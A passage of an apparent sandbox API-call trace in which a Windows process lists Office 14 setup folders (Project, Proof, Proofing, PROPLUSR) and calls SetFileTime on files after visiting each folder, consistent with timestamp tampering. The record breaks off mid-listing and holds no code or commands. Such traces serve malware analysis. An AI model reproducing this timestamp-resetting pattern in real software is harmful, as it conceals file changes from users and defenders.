dwReserved1=0x3, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0058.449] lstrcmpA (lpString1=".", lpString2="Project.en-us") returned -1 [0058.449] lstrcmpA (lpString1="..", lpString2="Project.en-us") returned -1 [0058.449] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.449] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0052, dwReserved1=0x5c0052, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.450] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.450] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x5c0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.450] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.450] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.450] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0058.451] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*") returned="*.*" [0058.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" [0058.451] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="" [0058.456] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.456] CloseHandle (hObject=0x94) returned 1 [0058.457] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.457] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned="ProjectMUI.XML" [0058.457] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" [0058.457] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="" [0058.457] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.457] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.457] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0058.457] lstrcmpA (lpString1=".", lpString2="Proof.en") returned -1 [0058.457] lstrcmpA (lpString1="..", lpString2="Proof.en") returned -1 [0058.457] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.457] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630065, dwReserved1=0x2e0074, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.458] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.458] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.458] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.459] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.459] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0058.459] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*") returned="*.*" [0058.459] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" [0058.459] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\") returned="" [0058.461] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.461] CloseHandle (hObject=0x94) returned 1 [0058.461] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0058.461] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.461] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0058.461] lstrcmpA (lpString1=".", lpString2="Proof.es") returned -1 [0058.462] lstrcmpA (lpString1="..", lpString2="Proof.es") returned -1 [0058.462] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.462] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.463] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.463] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.463] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.463] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.463] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0058.463] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*") returned="*.*" [0058.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" [0058.463] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\") returned="" [0058.465] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.465] CloseHandle (hObject=0x94) returned 1 [0058.465] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0058.465] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.465] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0058.465] lstrcmpA (lpString1=".", lpString2="Proof.fr") returned -1 [0058.465] lstrcmpA (lpString1="..", lpString2="Proof.fr") returned -1 [0058.465] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.466] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.467] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.467] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.467] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.467] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.467] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0058.467] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*") returned="*.*" [0058.467] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" [0058.467] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\") returned="" [0058.469] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.469] CloseHandle (hObject=0x94) returned 1 [0058.469] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0058.469] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.470] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0058.470] lstrcmpA (lpString1=".", lpString2="Proofing.en-us") returned -1 [0058.470] lstrcmpA (lpString1="..", lpString2="Proofing.en-us") returned -1 [0058.470] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.470] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8560, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.470] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.470] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.470] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.470] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.470] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0058.470] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*") returned="*.*" [0058.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" [0058.471] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="" [0058.472] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.472] CloseHandle (hObject=0x94) returned 1 [0058.472] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.473] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned="Proofing.XML" [0058.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" [0058.473] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="" [0058.473] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.473] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.473] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0058.473] lstrcmpA (lpString1=".", lpString2="PROPLUSR") returned -1 [0058.473] lstrcmpA (lpString1="..", lpString2="PROPLUSR") returned -1 [0058.473] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.473] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690066, dwReserved1=0x67006e, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.475] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.475] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x670000, cFileName="..", cAlternateFileName="")) returned 1 [0058.475] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.475] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.475] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 